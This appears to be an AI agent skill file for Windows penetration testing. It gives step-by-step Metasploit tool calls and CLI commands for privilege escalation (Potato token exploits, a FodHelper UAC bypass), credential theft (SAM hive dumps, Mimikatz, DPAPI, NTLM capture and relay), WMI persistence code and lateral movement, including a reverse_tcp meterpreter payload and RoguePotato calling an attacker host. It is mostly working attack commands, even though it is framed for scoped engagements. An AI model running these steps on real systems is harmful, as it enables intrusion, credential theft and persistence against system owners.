windows-pentest

name	windows-pentest
description	Guides Windows host penetration testing for local privesc, credential theft, token abuse, DPAPI, and lateral movement from a Windows foothold or non-domain Windows targets.

Windows Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Domain-joined targets: also load internal-ad-pentest.
• Before noisy post-ex: load red-team-evasion for AMSI/EDR context.

Workflow

Task Progress:
- [ ] Enumerate OS, patches, users, groups, services, privileges
- [ ] Run privesc checklist (tokens, services, DLL hijack, unquoted paths)
- [ ] Harvest credentials (LSASS, DPAPI, registry, cached creds)
- [ ] Attempt local elevation then lateral movement

Phase 1: Enumeration

System and patch info

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/gather/enum_applications",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/windows/gather/enum_patches",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe get Caption,Description,HotFixID,InstalledOn
whoami /all

Automated: WinPEAS, Seatbelt, PrivescCheck, Watson/WES-NG for missing patches.

Users, groups, privileges

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/gather/enum_logged_on_users",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_send_session_command(
  session_id=<sid>,
  command="getprivs",
  engagement_id="<id>"
)

CLI fallback:

whoami /priv
whoami /groups
net user
net localgroup administrators

Look for: SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, SeDebugPrivilege.

Services and misconfiguration

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/gather/enum_services",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/windows/gather/enum_unattended",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

wmic service get name,displayname,pathname,startmode | findstr /i "auto"
sc query
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Check: unquoted paths, writable service binaries, weak ACLs, modifiable Run keys.

Network and AV

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/gather/enum_computers",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

ipconfig /all
route print
netstat -ano
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName

Phase 2: Privilege escalation

Local exploit suggester

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/multi/recon/local_exploit_suggester",
  engagement_id="<id>",
  session_id=<sid>,
  options={"SHOWDESCRIPTION": true}
)

CLI fallback:

wes-ng.exe --update
wes-ng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Review output; run msf_module_check on any suggested MSF module before exploit.

Token abuse (SeImpersonate)

MSF MCP (preferred):

msf_send_session_command(
  session_id=<sid>,
  command="getsystem",
  engagement_id="<id>"
)
msf_send_session_command(
  session_id=<sid>,
  command="load incognito",
  engagement_id="<id>"
)
msf_send_session_command(
  session_id=<sid>,
  command="list_tokens -u",
  engagement_id="<id>"
)
msf_send_session_command(
  session_id=<sid>,
  command="impersonate_token \"NT AUTHORITY\\SYSTEM\"",
  engagement_id="<id>"
)

CLI fallback:

PrintSpoofer.exe -i -c cmd
GodPotato.exe -cmd "cmd /c whoami"
RoguePotato.exe -r <attacker_ip> -e "cmd.exe" -l 9999

UAC bypass

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/windows/local/bypassuac_injection",
  engagement_id="<id>",
  module_type="exploit",
  options={"SESSION": <sid>}
)
msf_run_exploit(
  module_name="exploit/windows/local/bypassuac_injection",
  engagement_id="<id>",
  options={"SESSION": <sid>}
)
msf_module_check(
  module_name="exploit/windows/local/bypassuac_fodhelper",
  engagement_id="<id>",
  module_type="exploit",
  options={"SESSION": <sid>}
)
msf_run_exploit(
  module_name="exploit/windows/local/bypassuac_fodhelper",
  engagement_id="<id>",
  options={"SESSION": <sid>}
)

CLI fallback:

# FodHelper manual (requires writable HKCU)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "cmd.exe"
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value ""
Start-Process "C:\Windows\System32\fodhelper.exe"

Service and path abuse

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/escalate/service_permissions",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
sc create evilservice binPath= "C:\Program Files\Evil\service.exe" start= auto

Token theft post modules

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/manage/migrate",
  engagement_id="<id>",
  session_id=<sid>,
  options={"PID": <target_pid>}
)
msf_send_session_command(
  session_id=<sid>,
  command="steal_token <pid>",
  engagement_id="<id>"
)

CLI fallback:

# Requires SeDebug; use Mimikatz or HandleKatz
Invoke-Mimikatz -Command '"token::elevate"'

Phase 3: Credential access

LSASS / SAM hashdump

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/gather/hashdump",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/windows/gather/smart_hashdump",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/windows/gather/credentials/credential_collector",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save
# Offline: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

DPAPI

MSF: No direct module; use CLI.

CLI fallback:

mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<SID>\<guid>" /rpc
SharpDPAPI.exe triage
dpapi.py masterkey -file masterkey /password:<user_pass>

NTLM capture

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/server/capture/smb",
  engagement_id="<id>",
  options={"CAINPWFILE": "/tmp/captured.txt", "JOHNPWFILE": "/tmp/john.txt"}
)

CLI fallback:

impacket-ntlmrelayx -smb2support -tf targets.txt
Responder -I eth0 -wrf

Phase 4: WMI persistence (ROE required)

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/manage/persistence_exe",
  engagement_id="<id>",
  session_id=<sid>,
  options={"EXE_PATH": "C:\\Windows\\Temp\\svc.exe", "STARTUP": "USER"}
)
msf_console_execute(
  command="use post/windows/wmi/persistence; set SESSION <sid>; set PAYLOAD C:\\Windows\\Temp\\svc.exe; run",
  engagement_id="<id>"
)

CLI fallback:

$Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
  Name="UpdateFilter"; EventNamespace="root\cimv2"; QueryLanguage="WQL";
  Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
  Name="UpdateConsumer"; CommandLineTemplate="C:\Windows\Temp\svc.exe"
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$Filter; Consumer=$Consumer}

Phase 5: Lateral movement

PsExec / WinRM

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/windows/smb/psexec",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "SMBUser": "admin", "SMBPass": "password"}
)
msf_run_exploit(
  module_name="exploit/windows/smb/psexec",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "SMBUser": "admin", "SMBPass": "password", "PAYLOAD": "windows/meterpreter/reverse_tcp", "LHOST": "<attacker>", "LPORT": 4444}
)
msf_module_check(
  module_name="exploit/windows/winrm/winrm_script_exec",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "USERNAME": "admin", "PASSWORD": "password"}
)
msf_run_exploit(
  module_name="exploit/windows/winrm/winrm_script_exec",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "admin", "PASSWORD": "password", "CMD": "whoami"}
)

CLI fallback:

crackmapexec smb <target> -u admin -p password -x whoami
impacket-psexec domain/admin:password@<target>
evil-winrm -i <target> -u admin -p password

Check SMB signing, EPA on WinRM, AV/EDR on destination before relay or exec.

Related skills

• internal-ad-pentest - domain context, Kerberos, ADCS
• hacktricks-methodology - service-level discovery (SMB, RDP, WinRM)
• red-team-evasion - AMSI/EDR before noisy post-ex
• persistence-pentest - persistence options (ROE required)
• msf-post - session commands and post modules